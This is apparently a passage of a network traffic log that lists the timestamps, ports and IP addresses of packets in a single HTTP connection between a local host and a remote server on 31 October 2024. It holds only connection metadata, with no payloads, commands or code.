Oct 31, 2024 04:16:09.530658960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530668020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530689001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530690908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530715942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530744076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530818939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530834913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530848980 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530864954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530864954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530875921 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530884981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530894041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530925989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530947924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530963898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530981064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.530987978 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.530997992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531008005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531014919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531028986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531029940 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531048059 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531070948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531102896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531126022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531141043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531157017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531172991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531174898 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531181097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531188011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531203032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531213045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531215906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531234026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531239986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531250000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531264067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531271935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531280994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531302929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531328917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531482935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531497002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531510115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531523943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531529903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531539917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531549931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531555891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531575918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531598091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531608105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531614065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531630039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531646013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531646967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531662941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531678915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531678915 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531694889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531704903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531716108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531735897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531754971 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531766891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531774044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531780958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531795025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531806946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531810999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531821966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531826973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531841040 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531842947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531848907 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531863928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531872988 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531888962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531891108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531904936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531907082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531924009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531927109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531939983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531941891 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531954050 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531958103 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531975985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.531980991 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.531994104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532010078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532037020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532053947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532073021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532090902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532093048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532109022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532116890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532124043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532139063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532141924 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532149076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532154083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532166958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532171011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532177925 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532181978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532196999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532198906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532215118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532229900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532233000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532244921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532258987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532282114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532483101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532497883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532511950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532526970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532536030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532541990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532558918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.532578945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.532605886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600388050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600410938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600451946 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600455999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600469112 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600492001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600519896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600524902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600548983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600564003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600565910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600580931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600585938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600604057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600626945 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600728035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600774050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600789070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600816965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600847006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600867033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600882053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600898027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600914001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600928068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600959063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.600965023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.600980997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601010084 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601030111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601031065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601046085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601062059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601068020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601073980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601097107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601252079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601267099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601283073 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601300001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601315975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601363897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601381063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601396084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601423025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601432085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601476908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601490974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601505995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601521969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601530075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601537943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601551056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601555109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601577044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601603031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601603985 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601619005 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601634979 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.601659060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.601689100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602025986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602076054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602091074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602108955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602142096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602148056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602159023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602175951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602205992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602220058 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602241993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602257013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602271080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602287054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602293968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602315903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602334023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602349997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.602349997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602374077 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.602385998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.603027105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.603065014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.603075027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.603080988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.603101969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.603121042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.603152990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.603169918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.603214979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645703077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645739079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645765066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645775080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645781994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645800114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645812988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645814896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645833015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645834923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645853996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645864010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645867109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645879984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645894051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645908117 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.645920038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645936966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.645947933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646056890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646090031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646100044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646106958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646131992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646140099 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646141052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646158934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646172047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646187067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646187067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646198034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646224022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646245956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646425962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646461964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646472931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646475077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646507025 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646521091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646526098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646526098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646553993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646565914 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646569967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646609068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646677017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646703005 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646718025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646723986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646733046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646748066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646760941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646779060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646786928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646801949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646827936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646831989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646843910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646867037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646878004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646884918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646899939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646908998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646917105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646935940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646938086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646967888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.646976948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.646994114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647006989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647013903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647028923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647047043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647062063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647069931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647077084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647088051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647105932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647110939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647114038 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647147894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647147894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647165060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647180080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647186041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647202969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647212029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647212982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647228956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647250891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647278070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647283077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647294998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647298098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647321939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647340059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647342920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647367001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647397995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647411108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647412062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647433043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647444010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647460938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647471905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647476912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647479057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647494078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647509098 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647509098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647519112 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647526026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647528887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647542000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647551060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647551060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647557020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647572994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647576094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.647589922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.647599936 CET	49814	80	192.168.2.4	185.215.113.16
